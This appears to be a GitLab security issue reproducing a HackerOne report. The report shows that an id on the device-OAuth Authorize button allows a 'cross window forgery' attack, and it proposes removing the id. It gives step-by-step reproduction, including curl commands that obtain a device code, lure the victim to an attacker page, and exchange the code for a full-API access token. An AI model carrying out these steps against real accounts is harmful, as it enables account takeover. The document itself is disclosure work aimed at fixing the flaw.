Skip to content

Device OAuth flow allows for "cross window forgery" due to ID on accept button, leading to full API access as victim (regression)

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2627925 by joaxcar on 2024-07-28, assigned to GitLab Team:

Report | Attachments | How To Reproduce

Report

Summary

An attacker can gain full access to a victim account through cross window forgery link

I previously reported a similar issue in #2383443 that was solved as CVE-2024-2177 in version 17.1.1. See the private issue here #444467 (closed)

The fix for #2383443 included removing the id attribute from the authorize button on the permission screen. However, the new device authorization flow introduced in 17.2 re-introduced the same issue with ids on the auth buttons.

You can go to https://gitlab.com/oauth/device and inspect the button, it will look like this

<button id="commit-changes" testid="authorization-button" type="submit" class="gl-button btn btn-md btn-confirm "><span class="gl-button-text">  
Authorize  
</span>  
</button>  

note the id of commit-changes. This first page only accepts the device token, but if you enter any random token into the field and move authorize this page you will see that even the next page on https://gitlab.com/oauth/device/confirm (needs to be visited from the first page form submit) the button there also has the same id

This new flow makes my old POC's functional again with some minor alterations.

I will show this using my captcha POC from earlier, but an attack can also be done using a simple game or any other way to trick users into performing the user interaction. See #2383443 for more examples.

Steps to reproduce

  1. Create two accounts, attacker and victim

  2. Log in as attacker and go to https://gitlab.com/-/user_settings/applications

  3. Create a new application. Name it anything and fill out the form with anything, just make sure confidential is not checked

  4. Save it and take a note of the application ID

  5. Log out and log in as the victim

  6. Start a terminal and run this command (replace <APPLICATION ID>)

CLIENT_ID="<APPLICATION ID>"  
curl -X POST https://gitlab.com/oauth/authorize_device -d 'client_id=$CLIENT_ID&scope=email&scope=api' -H "content-type: application/x-www-form-urlencoded"  
  1. The response should look like this
{"device_code":"code","user_code":"code","verification_uri":"https://gitlab.com/oauth/device","verification_uri_complete":"https://gitlab.com/oauth/device?user_code=code","expires_in":300,"interval":5}  

take a note of the device_code and the user_code

  1. As the victim now visit this page https://joaxcar.com/gitlab/click_attack_1.html?code=<USER_CODE> (replace <USER_CODE>)

  2. On the page follow the instructions to prove you are a human (holding down enter for approximately 3 seconds

  3. Now back in the terminal run this command (replace <DEVICE_CODE> with device code from step 7 and <APPLICATION_ID> from step 4

DEVICE_CODE="<DEVICE_CODE>"  
CLIENT_ID="<APPLICATION ID>"  
curl -X POST \  
    -H "Content-Type: application/x-www-form-urlencoded" \  
    -d "client_id=$CLIENT_ID&grant_type=urn:ietf:params:oauth:grant-type:device_code&device_code=$DEVICE_CODE" \  
    https://gitlab.com/oauth/token  

This should give you a response like this

{"access_token":"token","token_type":"Bearer","expires_in":7200,"refresh_token":"token","scope":"api","created_at":1722151585}  

This token will now give the attacker full access to the victim. Test it with this command

TOKEN="<access_token>"  
curl --header "AUTHORIZATION: Bearer $TOKEN" "https://gitlab.com/api/v4/user"  
  1. As the victim go to https://gitlab.com/-/user_settings/applications and see that you have a new application with api access on your account

here is the POC page if you want to self host REDACTED

Impact

The attacker gains full access to the victim's account through API (read and write)

I put the CVSS to the same as the previous report as the impact is the same

What is the current bug behavior?

The Authorize button has an ID and can thus be the target of a fragment identifier. This allows for the "cross window forgery" attack

What is the expected correct behavior?

Removing the ID from the button will stop the attack

Relevant logs and/or screenshots

REDACTED

Output of checks

This bug happens on GitLab.com

Impact

The attacker gains full access to the victim's account through API (read and write)

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

REDACTED

Solution proposal

In addition to removing the ID attribute, we should add specs for the OAuth flow such that the consent forms don't get ID attributes added again in future, to avoid more regressions.

How To Reproduce

Please add reproducibility information to this section:

Edited by Rohit Shambhuni